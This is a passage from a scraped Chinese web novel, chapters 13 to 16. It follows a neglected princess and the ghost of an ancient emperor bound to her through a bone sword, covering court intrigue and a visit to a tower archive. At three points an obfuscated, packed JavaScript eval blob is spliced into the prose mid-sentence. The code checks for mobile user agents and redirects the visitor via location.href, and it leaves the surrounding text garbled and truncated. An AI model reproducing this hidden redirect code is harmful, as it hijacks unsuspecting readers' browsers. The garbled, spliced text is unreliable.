但他不受限于此方皇权,所以这局,还能破。 钟离湛瞥了一眼被云绡拴在身上的骨剑,那剑还是随着她走的每一步,在她尾椎的地方如同藏于衣裳里的尾巴,一会儿动一下的。 钟离湛心下烦躁,忍不住摩梭衣袂上的花纹,可他触碰不到自己的,便干脆去摸云绡的。 云绡是云绡,她的衣裳是衣裳,所以钟离湛其实也没摸到云绡的衣裳,而是摸到了她冰冷的小臂。 云绡:“……” 她身体都有些僵硬了,不明白钟离湛为何要摸她,难道就是因为她以沉默回答了他方才那番豪言壮语? 还非得她救世才行? 钟离湛触碰到了少女柔软的手臂,指腹微动,又尴尬收回。 他只纠结犹豫了一会儿,便暗自骂了句:纠结个屁!孤大风大浪里闯过来的! 再度面对云绡,钟离湛的那双狐狸眼坚定,语气慎重道:“以孤骨剑,融入你身,从今往后孤护着你,但你也要答应,绝不骗孤,可能做到?” 钟离湛的骨剑一旦融入到她的身体里,那他们就是绑在一起的,云绡若死,钟离湛魂飞魄散,同样,若云绡自由,钟离湛也能自由。 云绡有些傻了。 但她还有理智。 所以她睁圆了自己那双明亮又有些湿漉的大眼睛,小心翼翼地问:“那你还会教我符咒阵法吗?” 钟离湛:“……” 他把生死置之度外都打算全心全意信任她和她绑定在一起,安危荣辱与共了,结果她问这个? 呵。 她还真是只好学的小兔子。 13.第 13 章 云绡被宫人带回了小院,许萍因为攀咬污蔑自己的主子被带出了皇宫,这个时候恐怕尸体都已经腐烂了。 小院里只有三间屋子,饶是这样也显得空旷安静,堂堂一国公主居然连个照看伺候的人都没有,更别说给她留个热饭热菜什么的。 窗外的雨浠沥沥的,眼看着天就要亮了,钟离湛回想起在宫巷处,他对云绡提起的条件。 她当时问他是否会将自己的毕生所学都教给她,钟离湛没回答,于是云绡也就没答应。 她找的理由很为他考虑,她说她如今在宫中举步维艰,什么时候死都不知道,若生命真的与曦帝绑在一起,只会成为他的拖累。 等云绡回到这间小屋之后她就换下了潮湿的衣裳躺着睡下了。 钟离湛无需休息,但他枯站着的这么长时间里也渐渐想通了很多事。如云绡所说,他要是真的想要离开皇宫,不受困于此,至少得把她眼下的困境解决了,否则便是与她绑在一起,大约也就是陪她再死一次的结果。 要离开皇宫,还要……杀显帝。 云绡住的地方与整个皇宫都格格不入,在这样大的暴雨冲击下居然屋顶漏雨了。 起初那雨并没有漏下来,只是沿着墙顶一点点蔓延,浸湿了墙面,后来雨水一滴一滴从屋顶上掉下,恰好坠到了钟离湛的面前。 他微微顿住,越发觉得云绡太过凄惨了些。 转身走到云绡的床边,钟离湛看向那大半张脸都埋在被子里的少女,她以一种不安的蜷缩的姿势只占据着木床小小的角落。 她的床很简陋,不,准确来说,屋子里的一切都很简陋。床顶上连个床纱都没有,腐朽生霉的房梁上,一滴雨水朝着她的面前而去。 钟离湛自然伸手,掌心朝上,又亲眼看着那滴雨水穿过他的魂魄,砸在了云绡的额头。 云绡没太大反应,但似乎有痛苦又微弱的呻吟声传来。 钟离湛微微蹙眉,俯身朝她看过去。 少女将脸藏在了被子里,只露出了一双眉眼,她的眉头紧皱,脸上绯红,钟离湛离得不算近都能感受到她身上传来的温度。 她病了。 被人打断了腿,扔下了禁地后没有休息,又被他指使着画符破阵,再后来就被人提到了青云司,在青云司里关了好些天,深夜一场雨,彻底让云绡的身体垮了。 钟离湛想将她的被子往下拉些,这样闷着太难受了,可他的手碰不到被子,只顿了一下,便还是俯身,干脆将人从被子里抱出来。 魂魄的触觉与肉身的触觉并没有太多区别,钟离湛一只手托着云绡的后脑,另一只手环搂着她的腰。 他的灵魂穿过了云绡薄薄的带着体温的衣裳,直接贴在了她后腰处柔软的皮肤上。 钟离湛的魂魄仿佛被烫了一瞬,将人抱起时指腹甚至能触碰到她脆弱的腰肢,与薄薄一层皮肉包裹的脊骨。 钟离湛的魂魄不是冷的,平日里与云绡太近的时候,她都能感觉到扑面而来的是一股热风。可现在云绡浑身发烫,意识模糊,她觉得贴上自己身躯的那股力量带着雨夜的潮湿和冰凉,让她舒适很多。 她本能地想要凑近些,再汲取更多冰冷,驱散这让她头昏脑胀的滚烫。 消瘦的手臂钩住了钟离湛的腰,火团一样的人依偎在了他的胸膛上,就像是肌肤贴着肌肤,云绡的额头在他的肩窝处蹭了蹭,蹭得钟离湛心内起火。 将人放下了,钟离湛立刻起身,见被子压在了云绡的下巴上,心中震惊他方才也算费力了怎么才只把人挪了这么点儿? 肩窝处的滚烫和指腹上柔软的触觉,这两种感受似乎还缠绕在他的魂魄上,他盯着云绡的脸看了会儿,心想只要被子没捂住她的口鼻把她闷死了就行。 再动手去挪人……还是算了吧。 - 云绡昏睡了一天一夜,她在第二天的午后才醒过来,这两天的时间里因为许萍不在,甚至都没人给她送点东西来吃。 她起身的时候身上黏糊糊的,到处都是汗湿后留下来的难受,不过她向来生病好得快,这一天一夜睡过去,除了四肢百骸有些酸痛之外,精神倒是好多了。 那点酸痛对她而言也不算什么,就是……饿。 饥饿让她的意识逐渐回笼,云绡朝屋中看去,并没有看见钟离湛的身影。 她心下一跳,连忙摸着被她压在枕下的骨剑,骨剑还在,钟离湛应当就在院子里,他走不远。 其实在雨夜她被青云司放回来时,云绡就因为饿了太久加上身体不适,头脑算不上太清醒了。但她还记得那个时候钟离湛提过一个要求,要与他绑在一起,她生他生,她死他死。 死了两千年的老鬼,大约是意识到自己对于两千年后的世界完全不熟悉。而没有身躯且受骨剑限制的他,即便脑海中有再强大的符咒阵法,仅凭他灵魂的力量恐怕也未必能全部使出。 此间帝王另有其人,钟离湛已经亡国两千年了,纵使再高傲,也得学会向现实稍稍低头。 云绡当时没能答应,因为她觉得钟离湛不肯教她全部符咒阵法,她也不要自己的身份和身体被他全然操纵。 现在头脑清醒了,想起来就有些后悔。 若真与他的骨剑融合,哪里是他操纵她?分明是她掌控他。 她不过小命一条,钟离湛可是在死前吟咒诅咒整个曦族,也能致使曦族险些亡族的杀神。 - 房门从里被打开,吱呀一声,钟离湛回头。 他听见云绡醒来的声音,她在里头悉窣着,应当是在换衣裳。 现在门开了,云绡的确换了身干净清爽的衣裳,且屋内的火盆里正燃烧着什么,钟离湛瞥了一眼,是那件她掉下禁地后带血的破衣。 他问:“你把这衣裳藏哪儿了?” 他们去了青云司之后一定有人回来搜过,居然也没搜到。 云绡笑道:“一直穿在身上啊。” 只是不是穿在上身,而是塞在了裤子里,那衣裳本就轻薄,云绡又瘦,一半塞裤子里,一半绑在腰上披下,被外衣遮挡。 血迹早就干了,她又熏了香,不太会露出马脚。加上即便走到了验伤那一步,也不会有人敢去动她的裙子,至多找个嬷嬷看一眼她的胳膊什么的。 钟离湛心道,她还真是有些聪明。 “那你接下来,打算如何?”钟离湛问。 云绡眉目弯弯:“先吃东西吧,我好饿。” 她是真的饿了,刚说完这话肚子就发出了饥饿声。 钟离湛问:“你能离开这屋子?” 云绡点头:“大皇兄既然允许我回来了,便代表这件事已经过去了,我去膳房里取今日的三餐没有人会不给的。” 说完这话,她当着钟离湛的面将腰带捆了捆,似乎是被她藏在身后的骨剑不太方便,所以她还朝腰后摸了一下。 钟离湛也不想,但他看雨看得无聊,难得云绡醒过来精神不错,他的目光就忍不住往她身上落,而后就顺着她的那双手,看向她纤细的腰肢,还有她的脊骨尾椎…… 柔软与温度,似乎重新绕上了他的指尖。 移开视线,钟离湛跟着云绡离开了小院,这一次,他倒是有时间好好打量一番两千年后的凌国王宫,与他过去的照国王宫有何不同。 建筑变了,构造也变了。 他在世时,五族乱世已久,即便他成了曦帝,成了五族之首,世间也因为多年的抢夺和战争变成了灰白色。 那个时候位低的人活着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349212|166931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只想填饱肚子,位高的人活着有些还不死心地想要成神成圣,即便蠢蠢欲动之辈被他按了下去,大部分人也得到了温饱,可在他眼里的颜色仍旧很少。 只有天是蓝的,草木是绿的,很多人的衣裳都是灰黑的,偶尔有些女子会在身上装点些珠宝首饰。 他的王宫,不如显帝的王宫富丽堂皇。 凌国的皇宫里园林很多,几乎每一个宫殿都自带着前后的景,便是从云绡住处去膳房这一路,钟离湛就看见了六个形状不同,周围的植物布景也不同的水池。 有的架九曲桥,可从水上穿过;有的中心一座孤屿;有的旁边假山石丛很多,不知从哪儿引的水,哗啦啦地流淌至水池中;还有的船亭斜靠着池边,花团锦簇,轻纱飘香。 钟离湛没见过这么多花。 他此生见过的花一只手能数得过来。 田地里的菜花,很丑但也能吃的菊花,可以入药泡茶的忍冬,似乎还有他的寝宫前不知何时种下,后来勉强成活,但是开花十分惨淡,可怜兮兮只挂了几朵的海棠。 那海棠是怎么种到他寝宫里的? 钟离湛看向不远处开得极为繁茂,红粉一片,几乎要淹没绿叶的海棠花,调动脑海中的记忆。 那个时候……他好像已经有些疯了。 他不觉得自己疯了,因为在此之前,他并没有任何身体不适的征兆。但他的确像是昏迷了一段时间,自己的言行举止不受控般,他甚至不知曾做过什么,迷迷糊糊浑浑噩噩。 再度清醒后,那些人就都说他疯了,做了一堆恶事。 而他清醒时,手里正提着一个水壶,给那株小小的海棠花浇水。 有道声音从脑海中传来,是个女人,带着笑意道:“希望你能活下去。” 那道声音成了钟离湛的警钟,他后来提防了很久,疑心重重,将身边所有可能给他下毒的人都排查了个遍,果然很长一段时间没再发生什么变故,他的身体也没问题。 可他后来还是疯了。 又疯了。 “就这一点?” 云绡的声音从身边传来,钟离湛才从那些死了两千年,已经变得模糊不堪的记忆里回过神来,也没再看那株郁郁葱葱的海棠花,而是瞥了云绡一眼。 她站在膳房前,手里端着的食盘中只有一碗两碟,碗里稀粥,一碟恐怕能把人咸死的黑漆漆的酱瓜,一碟寡淡无味的水煮菘菜。 云绡道:“可我已经很多天没领了,今日来怎么也该把前头的补上。” “十一殿下,饭食每日都定量且有变,您没来,那些菜也都浪费了呢……况且十一殿下您方才说您病了,病人吃得清淡些才好。” 说话的眼不是眼,鼻不是鼻。 云绡垂着头,露出一截白皙消瘦,能看见微微突出脊骨的脖颈。 她深吸一口气,约是知道这个时候与膳房里的人辩驳,恐怕明天来连干净的清粥都没有,故而抬起头朝那女人笑了笑:“多谢嬷嬷关心,那我明日再来。” 嬷嬷有些意外,平日里云绡可没这么好说话,今日怎这样顺从?想找个机会拿她把柄都拿不到。 钟离湛看了一眼云绡,又看了一眼那也不知在膳房吃多了多少油水堪称肥硕的女人,眉头一皱,对云绡道:“走吧。” 云绡一愣,垂着头,眉毛却蹙起来,他就这个反应? 钟离湛又催促,甚至伸手推了她一下:“快走。” 云绡咬唇,疾步往前走去,还没走多远就听见身后传来了一声尖叫。 她回头看去,便见方才为难她的嬷嬷裙裤脏污,整个人站在原地直打摆子,噗噜噜的声音不断,还有泄物浠沥沥地从顺着她的裙摆往地上淌,恶臭味就是云绡离得这样远都隐约能闻得到。 14.第 14 章 膳房内的人先是听到了尖叫,随后跑出来,就看见了张嬷嬷一边叫,一边排泄,那喷出来的秽物流了地上一滩,阵阵恶臭熏得一些人都开始呕吐起来。 钟离湛的嗅觉更加灵敏,自然也闻到了,他双手压着云绡的肩膀,强迫她转身,带着人大步离开。 “还看?不吃饭了?” 云绡就是闻到了那一点都觉得反胃,那骇人的画面还徘徊在脑海,她再看一眼手中的粥。 嗯,幸好是清粥,没有奇怪的颜色。 离出好大一截,云绡才觉得那股味道似乎消失了,园林中的花香味和草木的清香味掩盖了她方才不经意嗅到的似乎刻在记忆里的味道。 张嬷嬷大约是被自己吓昏过去了,声音也停了。 张嬷嬷的确是昏过去了,并且倒在了自己排泄的污秽上,膳房里的人吐得吐,传人的传人,跑的跑,还有几个站在原地不知该怎么办,也不敢把张嬷嬷给捞出来。 云绡是闻不到味道了,钟离湛却仍然能闻见,早知道他该让她走得再快些。 好在他死了,鬼是不用吃东西的,否则这会儿他怕是也得反胃得吐出来,三天食不下咽了。 云绡毫无心理阴影,甚至心情还挺不错的样子。 她端着食盘脚步轻盈,少女嘴角扬起一抹笑,眉目舒展,那双圆眼看上去更加明亮,比起钟离湛在禁地里看见她时多出了许多生机与活泼。 “吃个稀饭这么高兴?”钟离湛没忍住开口。 云绡昂着头朝他弯起眼睛:“谁说我是因为吃的高兴的?” “那不然?” 云绡突然朝他凑近了些,肩膀轻轻贴上了钟离湛的胳膊,像是在说悄悄话似的压低声音,气息洒在了他的身上:“我知道是你干的。” 这一瞬,她多了几分少女的娇俏,也不经意主动与钟离湛拉近了几分距离,没再像之前那样诚惶诚恐地称呼他为“您”。 钟离湛瞥了一眼贴在自己魂魄上的肩膀,云绡说完这话就回到了合适的距离,一触即离的温度很快就散了。 钟离湛瞧她那有些得意看穿了他干坏事的小模样,便问:“害怕吗?” “怕什么?怕脏还是怕臭?”云绡眨了眨眼。 钟离湛道:“怕孤。” “怕您?”云绡摇头:“您是在帮我,您心怀正义,见不得她欺凌我,您这事做好事啊!” 钟离湛啧了一声,你又变成了您。 他道:“为了你口中的正义,孤可是杀了不少人。” 准确来说,是数不清的人。 他也不知自己说这话,是指望从这只小兔子的眼里看出什么来,畏惧?惶恐?疏离? 好像都不是。 大约是他恶趣味,见不得她捧着一碗清粥烂菜还这么高兴,便想吓她。 云绡丝毫没有被吓到的意思,那双眼睛更加清澈了。钟离湛似乎能从她的眼瞳中看见自己的倒影,实际上并没有他的倒影,这世间任何镜面,都无法照见他的魂魄。 云绡不明所以,又理所应当:“您当然杀过人。” 她有些尴尬地提醒他:“后世人对您的记载……比较多。” 钟离湛敛下嘴角,哦了声。 安静了好一会儿,钟离湛又没忍住问:“他们都是如何记载孤的?” 云绡可不会傻到在这个时候得罪钟离湛,毕竟他们俩现在气氛还不错,云绡不打算破坏和谐,并且还想在他面前再多增几分好感。 故而她道:“等我吃完饭,我带您去一趟千术阁,那里有您的生平,您自己去看。” 钟离湛也不知自己到底要不要看,即便云绡不说,他也知道后世人在对于他的记载上不会有什么好话,毕竟他是被圣仙杀死的杀神,那些人为了庆贺他之死,甚至还举办了圣仙节。 云绡到底是没能带钟离湛去成千术阁了,她才刚回到自己的住处,便看见在住处前等着的人。 周泉礼比云绡猜测找来的时间的要早些,这说明晨妃那边的动静应该更快,快到周泉礼都等不及看那反咒是否更加周全。 周泉礼在见到云绡手上端着的吃食时一怔,云绡便在他开口前开口:“周情种等我吃完。” 周泉礼:“……” 情种这两个字,简直像是在扇他巴掌。 云绡回到小院,也没请周泉礼进去,事实上周泉礼也十分嫌弃这院子,他从来没见过这么破败的地方,脏乱得无从下脚。 云绡自顾自地吃,周泉礼便在那儿骂:“你还真是在宫里过着猪狗不如啊。” 钟离湛的那双狐狸眼嫌恶地瞥了周泉礼一眼,问:“他是不是被狗咬过?” 云绡一顿,不解。 钟离湛道:“孤见过一个人,被狗咬了之后一开始还好好的,后来便像他这样发疯,再后来就死了。” 云绡:“……” “疯完了之后,就死了吗?” 钟离湛点头。 云绡似是想到了什么,抿嘴一笑。 等吃完了,周泉礼才将她被关在青云司后发生的事说出来。 如云绡所料,晨妃的动作真的很快。云宓被抱到她膝下去养时已经知事了,她深知这是个养不熟的,唯一可以利用的就是婚嫁帮她谋取些什么。 本来周泉礼是最好的人选,偏偏云宓像猪油蒙了心一样非要害周泉礼,避免逍遥王将麻烦找到自己头上来,晨妃以最快的速度给云宓挑选夫婿。 今日宫中的另一边也有不少显赫人家的公子被三皇子借口请入宫中,与云宓相看。 周泉礼也来了。 那件事之后他不是第一次见到云宓,每次看见她,她都是泪眼朦胧地望向自己,从未靠近。 周泉礼也不知自己到底想要什么,他只知道他都能为了云宓既往不咎,她就不该仍然对他视若无睹,至少,不该站得那么远,她好像并没有爱上他。 晨妃已经与三皇子说定,今日不论如何要给云宓寻个夫婿嫁出宫去。一旦云宓真的成婚,周泉礼便是再荒唐,逍遥王也不会让他做出抢夺他人妻子之事。 他急,急得顾不上那边,匆匆便来找云绡。 “所以周情种今日来找我之前,没见过云宓?”云绡问。 周泉礼点头。 云绡心里给他鼓掌,便道:“女子之爱与男子不同,更为含蓄。” “凭什么?!凭什么我爱上她,可以为她去死,她爱上我,却仍然要我低头?!”周泉礼咬牙切齿,心中对云宓又爱又恨,舍不得放下,又在心里想了无数遍将她得到后,要如何去折磨。 云绡道:“那就让我来为周大情种助一把火。” - 云宓近来很不好过,她心里其实有几分确定,周泉礼应当听到了些风声说是她向大皇子出卖了他。但他没有证据,所以他对她应当还抱有好感,所以这短短几日,她都能看见他好几回。 云宓想让自己静下心来,好好思索接下来该怎么办,可晨妃却非要她在今天的男子中选一人,若她不选,晨妃就要替她来选。 云宓对着三皇兄哭了两次,她知道她的眼泪向来有用,可近来她感觉很不对劲,到现在她也不确定,自己哭,三皇兄是否会帮着自己。 果然,她的眼泪还是有用的,她说她害怕,不敢只看一眼就将自己嫁出去,那是她的一生幸福。 三皇子是晨妃亲子,从小陪着她长大,也有些不忍心,便答应替她向晨妃说两句好话,让晨妃再许她缓上一段时间,多看两眼。 云宓尚未松口气,三皇子便因公事被人请走,眼看着他离开了宴会很久都没回来,而晨妃那边已在催促,云宓就知道他帮不了她了。 她浑浑噩噩,不明白到底哪一步错了,尤其是在青云司见到云绡之后,从那天起她没有一件事顺利过。 面见晨妃之后,云宓只说一句全凭母妃做主,而后便出来吹风。 宫中花园很多,湖面上的风很冷,她心中生乱,明明宫门来传周泉礼入宫了,可她却没见到他,他难道确定是她要害他了? 不论从哪一方来看,眼下周泉礼,是带着她脱离苦海最好的人选。 便是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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有周泉礼的玉佩就好办事多了。 周泉礼将玉佩给她了,只问:“现在呢?你能带我去找宓儿了吗?” “急什么?你不找她,她也是要来找你的。”云绡故意道:“今夜周大情种就宿在宫中吧?你宿在哪儿只需放个风声给云宓知道,说不定她晚上就会来爬你的床哦。” 周泉礼想要留宿宫中也非难事,宫中皇子没有一个出宫立府的,周泉礼只要不入后宫,宿在皇子那边也不是一回两回了。 他不信云绡说的云宓会来爬床,因为云宓胆小柔弱,可他又觉得自己从未真的弄懂过云宓,心中也忍不住暗自期待,期待那个爱意相通的咒语,能让云宓也痴痴地缠着他。 周泉礼心中有了期待,便想离云宓更近一些,他留宿在三皇子那里。 晨妃知晓云宓做的事,三皇子不知,他只是奇怪明明周泉礼之前对云宓那么用心,近来却冷淡了许多。 不过如周泉礼这般的纨绔子弟,总是多情又薄情,他也没有为云宓这个妹妹出头得罪逍遥王府的用意。 周泉礼想住,他就让人安排他住下了。 夜深时分。 云宓悄悄离开了扶月殿,云绡也离开了她的小院。 钟离湛在一旁看得清楚,看她把周泉礼和云宓耍得团团转,也有几分好奇,她到底想做什么。 云绡拿出周泉礼的玉佩道:“我们出宫吧!” “出宫?”他记得她要这枚玉佩,是为了去千术阁。 云绡点头:“千术阁非禁地,守门人虽会为难我,却也不会次次都拦住我,但神霄塔若无令,恐怕只有逍遥王府的人可以进出了。” “曦帝要不要,再回去看看自己的坟冢?” 钟离湛微怔,他也想要去了解一番所谓圣仙,究竟是个什么东西。 跟着云绡走了两步,钟离湛又道:“你也不必事事以孤为先,毕竟有这令牌,你在宫中也会好过很多。” 云绡引路,眸轻垂,唇微翘。 她事事以他为先? 不不不,她只是想要在杀人前,做好充足的不在场证据罢了。 15.第 15 章 连绵的雨,于这一夜彻底停了下来,出宫的道路少许泥泞。 云绡本打算钻狗洞的,钟离湛当然不愿意,她就自然而然地提出了隐身符。 钟离湛想画,云绡道:“授人以鱼不如授人以渔,其实我上次记得咒文,曦帝不如让我试一试,您在一旁指点?” 说着,云绡就从怀中掏出一张空白的黄符纸,竟还有一根搓成了笔状的朱砂。 钟离湛意外也不意外。 意外她准备得这么齐全,不意外她对符咒阵法当真十分感兴趣,抓住机会就要学。 但云绡的确是天赋异禀,或许她身体里属于曦族的血脉足够纯正,只是上次在周泉礼的额头上看了几眼的隐身符她都能毫无差别地画了出来。只是她的力量还有所欠缺,未必请得动值日神。 钟离湛刚要尝试去捏住她手中的符纸,便见云绡速度更快地咬破了自己的手指,一滴鲜血点在了隐身符上。 隐身符上荡起一圈暗红色的涟漪,云绡便问:“这样行吗?” 钟离湛收回了自己的手,认真地朝她看去一眼,意味深长道:“试试不就知道了?” 云绡并不害怕,直接将隐身符贴在了自己的额头上。 钟离湛想告诉她,他当时贴在周泉礼的额头上是不想看见周泉礼那张恶心狰狞的脸,这隐身符只要随身带着就都有效。 不过看云绡捂着额头小心翼翼地朝前走,这话还是让他吞了回去。 蛮可爱的就是…… 其实也蛮惊喜的。 当年他还活着的时候,曦族那么多人,上上下下与他沾亲带故的也有不少,却没有一个有云绡这般天赋却又好学的,很多曦族人都只是仗着自己血脉中与生俱来的本领故作姿态罢了。 夜风微凉,今夜守宫门的侍卫不是别人,正是多日前奉命去请云绡的林勋。 云绡在门后深吸一口气,眨巴眨巴眼就大摇大摆地从半开的宫门里走出来。 林勋似有所感,朝宫门前看去一眼。 这一眼叫云绡呼吸都停了一瞬,不过对方也只是盯着瞧了会儿,并没有动身过来,又将目光移开。 云绡这才卸下心防,将额头上的隐身符贴得紧一些。 离开宫门有一段距离了,云绡才将隐身符取下。 钟离湛问她:“不继续用这办法混入神霄塔?” 云绡摇头道:“神霄塔周围的阵法太多,而且因为圣仙节祭祀一事,如今守着神霄塔外围的都是仙师……我有自知之明,我的隐身符可能能蒙混林勋之辈,却无法欺骗到仲卿仙师。” 她说着,又将周泉礼的玉佩晃了晃道:“所以我才找周泉礼要了这个。” 云绡向钟离湛解释仲卿仙师与逍遥王府的关系,逍遥王与仲卿仙师都是湖族人,传闻中的圣仙也是湖族的。 仲卿仙师今年已经六十有九了,是凌国当之无愧的国师,这世间存留的符咒阵法,仲卿仙师都有涉猎。 如今五族中人族当道,其他四族的人数加在一起也不足人族的十分之一,凌国也在人族的统治下,与其他四族和平共处。 仲卿仙师本在湖族为长老,记录和延续数千年前留下来的通神之法,是逍遥王与他在湖族本族中有些沾亲带故的关系,又花了心思一年一请,才将仲卿仙师请来京都神霄塔坐镇的。 这也是周泉礼身为一个异姓王的小儿子,能在京都横行霸道的原因,更是他能收买神霄塔的守卫,打碎圣仙小像,敢把云绡推下天祭台的原因。 基于逍遥王府与仲卿仙师本就有过硬的交情,云绡拿着周泉礼的令牌进入神霄塔才不会有人阻拦。 钟离湛听她这么说,便问:“这叫仲卿的小儿,很厉害?” 云绡:“……” 也就他能叫一个快七十岁的老头儿为“小儿”,不过历史上记载,曦族在被钟离湛诅咒之前,寿命可长达千年。就是钟离湛他自己都活到了两百八十岁左右才去世的,所以他叫仲卿仙师“小儿”也不算错。 云绡老实道:“有些厉害。” 有些,是基于如今符咒阵法都已经没落的情况下,仲卿仙师当然算得上是首屈一指的存在。可与钟离湛这位两千多年前平定五帝一统天下的天才相比,自然是不够看的。 云绡抓住机会,猛夸钟离湛:“曦帝当然是最厉害了,他在曦帝面前,也就是这个。” 钟离湛看向伸到眼前的白皙的手,云绡的拇指掐着自己的尾指尖那么一点点,他只微微挑眉,也不知是否应下这恭维。 如云绡所料,她拿着逍遥王府的玉佩要入神霄塔,神霄塔外的仙师面面相觑,有的认出了这是不久前牵扯上破坏祭祀的十一公主。可仲卿仙师本也说过逍遥王府的人要入神霄塔观阅不可阻拦,所以那几人商量犹豫了一下,就放云绡进去了。 湖族出了圣仙,灭了杀神,本就在凌国享有一切优待。 可以说逍遥王府的令牌除却一些明文禁止的禁地之外,整个凌国上下无不可去之处。 云绡收了玉佩,拿起一站昏黄的灯便进入了神霄塔中。 神霄塔内有明珠,需得黄符催亮,云绡此番过来没打算大张旗鼓,而且钟离湛阅卷也无需点灯,她就着手上提着的小灯,昂首看过去。 神霄塔虽为钟离湛的碑,里面却填满了显帝能搜刮来的所有古籍,里头的书架从一楼直通塔顶,下宽上窄,木架子上刻满了老旧的咒文,一行行,一列列,如捆缚灵魂的方阵。 钟离湛进入神霄塔,就能感知到距离自己不远的肉身,他的神识范围也能扩散得更广,这些古籍史册,无需翻阅他也能看全里头的内容。 如他猜想的那样,两千余年过去,留在这世间所有通神之法,记载在册的少之又少。往年五帝之争中各族各显神通,有的为了通神不惜以血肉为代价,也不知祸害了多少无辜生命。 钟离湛在位时便明令禁止了一些符咒阵法,那些害人的法术皆被束之高阁,藏于他的宫宇中,垫在他的石床下,无人敢去寻找、翻阅。 在他死后,曦族因诅咒人寿渐短,险些灭族于时间洪流与朝代更迭中,而人族因繁衍变得愈发强大,逐渐占据了领导地位。 至于那些被遗忘和丢失的符咒阵法,于史册中的记载里都是被他摧毁的。 钟离湛翻到了厚厚一本史册,翻阅于两千余年前,关于他的记录不算少,可好话却寥寥无几。 他不止疯过一回。 第一次疯,便是斩断六万尾人族的尾巴,将其熬成骨汤饮下。 第二次疯,收旖族美女三千为后宫佳丽,又一夜杀尽,以头骨盛酒,夜夜笙歌。 第三次疯,以人族婴孩为祭,堆骨成山,血流千里,要以那人骨砌成通神的高塔,成为永世主宰。 而后天道不忍看苍生被钟离湛这杀神霍乱,最终以神意降下一旨,赐予湖族一位少女拥有斩神之力,以斩魂剑为封印,终于把钟离湛这个祸害杀神给杀死了。 便是在他死前,他也焚毁了宫殿,诅咒如恶鬼低吟,叫他曦族险些覆灭。 那些遗失的通神之术,就在他死前焚烧的宫殿里,随着他一并入葬,连灰屑都无存。 钟离湛看着这些记载,说不清心里是什么感受,倒是有些沉睡两千余年迟钝的记忆渐渐回归脑海,让他心下微凉,这些记载也并非空穴来风。 他的确有过一段时间难以自控。 斩断六万尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那串脚步声越来越近,钟离湛还站在原地,一双狐狸眼于黑夜中泛着光泽,像是真的狐狸成了精般,冷凛中带着几分邪性。 他的目光没有移开,直勾勾地盯着书架的另一面,又是一道电闪雷鸣。 雷霆的光照在了书架后方那道纤柔的身影上。 乌黑的长发被她陇至身前,露出了大片白皙的后背,消瘦的脊背上没有半点新旧伤疤,如上等白玉。不过沿着对方脊骨处,却因为长时间被一把骨剑贴身,压出了节节分明的红痕。 在这道光照过来的同时,云绡便迅速地穿好衣裳,骨剑贴在身后,腰带紧束。 她回眸,对上了黑夜里不曾移开目光的双眼。 钟离湛的脸色有些冷,也不知站在那里看了多长时间,不过是此刻短暂的对视云绡也觉得自己的心仿佛坠入了寒潭之中,冷得连跳动都不会了。 灯光在神霄塔外亮起,几道身影映在门上。 钟离湛一步步朝云绡靠近,待到站在她面前,刚好是他走出的第九步。 他居高临下,像是能将她看穿。 而她僵硬在原地,看着杀神伸出手,大掌朝她的脸上过来。 她觉得自己这一刻就像是要死了,别杀我这三个字就卡在了她的喉咙里,可她偏偏因为钟离湛的威压和气势,发不出半点求饶的声音。 云绡虽恐惧,却仍然没有闭上眼,所以她看见那只手贴近她的脸,拇指用力地擦过她的脸颊,将她脸上沾染上的一滴鲜红血迹擦去。 于此同时,身后的开门声响起。 冷风灌入,云绡后知后觉地找回了自己的呼吸。 16.第 16 章 “十一殿下。” 仲卿仙师的声音于背后传来,云绡还在急促地呼吸着,她的头脑有些发懵,但在这一刻也不得不立刻清醒过来。 云绡转身,身后来自于钟离湛滚烫的魂魄气息贴着她的后背,就像是那把骨剑着火一样,让她在这冰冷的雨夜里起了一身薄汗。 云绡开口,声音平稳,完全没有做坏事被人捉到的慌张与心虚。 “没想到这么晚了仲卿仙师也会过来,看来是我打扰了仙师休息。” 云绡的目光扫过仲卿仙师身后的那几名弟子。 对于仲卿而言,那些是他的弟子,但是在外,那些弟子也被尊称仙师,颇得重视和尊重,眼下被云绡冷冷地瞥了一眼,心中顿时不满。 还不等他们开口,仲卿便抬起手制止了他们发出声音,那双苍老却明亮的眼睛落在云绡的身上,微微眯起眸子道:“十一殿下今日看起来,十分不一样。” 云绡不知他看穿了什么,紧接着肩膀上便落下了一只手掌。钟离湛还站在她的背后,一只手轻轻按着云绡的肩,狐狸眼冷凛地望向仲卿。 仲卿从袖子里抽出了一张符,双指并拢将那符纸扫过自己的双眼,再睁开盯着云绡看了会儿,微怔。 他方才看见云绡的身上似乎有道不属于她的气息在黑夜里泛着微弱的光,所以用火眼符去看。不过很奇怪,那道出现在云绡身上的气息一闪而过,一切就像是他恍惚间的错觉,她就是她,就站在那里。 圣仙节祭祀才刚过去不久,祭祀前天祭台险些发生了变故,仲卿自然知道涉事其中的有哪几人。 周泉礼是个纨绔,仲卿也很看不上他,若非他为湖族本家的后裔,而湖族的人丁越发稀少,他也不会替周泉礼瞒着他在圣仙节期间的确来过天祭台的真相。 就凭着周泉礼做事的手段,满地都是他遗漏下来的证据,仲卿都懒得拆穿他。 不过他也知道,周泉礼既然来过天祭台,那云绡绝对也被他捉住且带到了天祭台,至于后来她如何逃脱,仲卿至今没想明白。 